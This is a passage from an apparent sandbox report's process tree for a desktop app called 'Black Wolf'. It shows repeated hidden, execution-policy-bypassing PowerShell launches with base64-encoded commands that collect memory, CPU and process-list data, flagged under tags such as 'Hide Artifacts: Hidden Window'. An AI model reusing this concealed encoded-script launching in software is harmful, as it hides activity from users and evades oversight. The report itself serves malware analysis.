bwB1AG4AZABDAG8AbABvAHIAIABZAGUAbABsAG8AdwAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQAgAGUAbABzAGUAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIASQBuAHMAdABhAGwAbABhAHQAaQBvAG4AIABjAG8AbQBwAGwAZQB0AGUAZAAgAHcAaQB0AGgAIAByAGUAcwB1AGwAdAA6ACAAJAAoACQASQBuAHMAdABhAGwAbABSAGUAcwB1AGwAdAAuAFIAZQBzAHUAbAB0AEMAbwBkAGUAKQAiACAALQBGAG8AcgBlAGcAcgBvAHUAbgBkAEMAbwBsAG8AcgAgAFkAZQBsAGwAbwB3AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAIAAgAH0AIABlAGwAcwBlACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBEAG8AdwBuAGwAbwBhAGQAIABmAGEAaQBsAGUAZAAuACAAUgBlAHMAdQBsAHQAIABjAG8AZABlADoAIAAkACgAJABEAG8AdwBuAGwAbwBhAGQAUgBlAHMAdQBsAHQALgBSAGUAcwB1AGwAdABDAG8AZABlACkAIgAgAC0ARgBvAHIAZQBnAHIAbwB1AG4AZABDAG8AbABvAHIAIABSAGUAZAAKACAAIAAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAIAAgAH0ACgAKACAAIAAgACAAIAAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiAGAAbgA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9ACIAIAAtAEYAbwByAGUAZwByAG8AdQBuAGQAQwBvAGwAbwByACAAQwB5AGEAbgAKACAAIAAgACAA
  2⤵
  PID:3480
- C:\Users\Admin\AppData\Local\Programs\Black Wolf\Black Wolf.exe
  "C:\Users\Admin\AppData\Local\Programs\Black Wolf\Black Wolf.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --user-data-dir="C:\Users\Admin\AppData\Roaming\react-example" --gpu-preferences=SAAAAAAAAADoAAAEAAAAAAAAAAAAAGAAAQAAAAAAAAAAAAAAAAAAAEIAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1636,i,6207529291018093395,9840552113072448670,262144 --enable-features=PdfUseShowSaveFilePicker --disable-features=DropInputEventsWhilePaintHolding,LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --pseudonymization-salt-handle=1640,i,7676601423377663462,9896368510582746884,4 --trace-process-track-uuid=3190708991934122588 --mojo-platform-channel-handle=2324 /prefetch:10
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2800
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAgACAAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIACgAgACAAIAAgACAAIAAgACAAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0AOwAKACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwA7AAoAIAAgACAAIAAgACAAIAAgAHAAdQBiAGwAaQBjACAAYwBsAGEAcwBzACAATQBlAG0AQwBvAHIAZQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBwAHMAYQBwAGkALgBkAGwAbAAiACkAXQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGkAbgB0ACAARQBtAHAAdAB5AFcAbwByAGsAaQBuAGcAUwBlAHQAKABJAG4AdABQAHQAcgAgAGgAdwBQAHIAbwBjACkAOwAKACAAIAAgACAAIAAgACAAIAB9AAoAIgBAAAoAIAAgACAAIAAgACAAIAAgACQAaQBkACAAPQAgACQAUABJAEQACgAgACAAIAAgACAAIAAgACAAJABwAHIAbwBjACAAPQAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAC0ASQBkACAAJABpAGQACgAgACAAIAAgACAAIAAgACAAWwBNAGUAbQBDAG8AcgBlAF0AOgA6AEUAbQBwAHQAeQBXAG8AcgBrAGkAbgBnAFMAZQB0ACgAJABwAHIAbwBjAC4ASABhAG4AZABsAGUAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwACgAgACAAIAAgACAAIAAgACAA"
  2⤵
  - Hide Artifacts: Hidden Window
  PID:1072
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAgACAAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIACgAgACAAIAAgACAAIAAgACAAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0AOwAKACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwA7AAoAIAAgACAAIAAgACAAIAAgAHAAdQBiAGwAaQBjACAAYwBsAGEAcwBzACAATQBlAG0AQwBvAHIAZQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBwAHMAYQBwAGkALgBkAGwAbAAiACkAXQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGkAbgB0ACAARQBtAHAAdAB5AFcAbwByAGsAaQBuAGcAUwBlAHQAKABJAG4AdABQAHQAcgAgAGgAdwBQAHIAbwBjACkAOwAKACAAIAAgACAAIAAgACAAIAB9AAoAIgBAAAoAIAAgACAAIAAgACAAIAAgACQAaQBkACAAPQAgACQAUABJAEQACgAgACAAIAAgACAAIAAgACAAJABwAHIAbwBjACAAPQAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAC0ASQBkACAAJABpAGQACgAgACAAIAAgACAAIAAgACAAWwBNAGUAbQBDAG8AcgBlAF0AOgA6AEUAbQBwAHQAeQBXAG8AcgBrAGkAbgBnAFMAZQB0ACgAJABwAHIAbwBjAC4ASABhAG4AZABsAGUAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwACgAgACAAIAAgACAAIAAgACAA
    3⤵
    PID:3564
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\bwkfyvmc\bwkfyvmc.cmdline"
      4⤵
      PID:4444
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9150.tmp" "c:\Users\Admin\AppData\Local\Temp\bwkfyvmc\CSC6AABC5FE1BF04071AED49020559223AF.TMP"
        5⤵
        
        PID:3976
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA=="
  2⤵
  - Hide Artifacts: Hidden Window
  PID:5344
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA==
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3772
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA=="
  2⤵
  - Hide Artifacts: Hidden Window
  PID:384
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA==
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2796
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA"
  2⤵
  - Hide Artifacts: Hidden Window
  PID:5316
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1996
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA=="
  2⤵
  - Hide Artifacts: Hidden Window
  PID:5360
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA==
    3⤵
    PID:5472
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA"
  2⤵
  - Hide Artifacts: Hidden Window
  PID:3032
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3052
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSA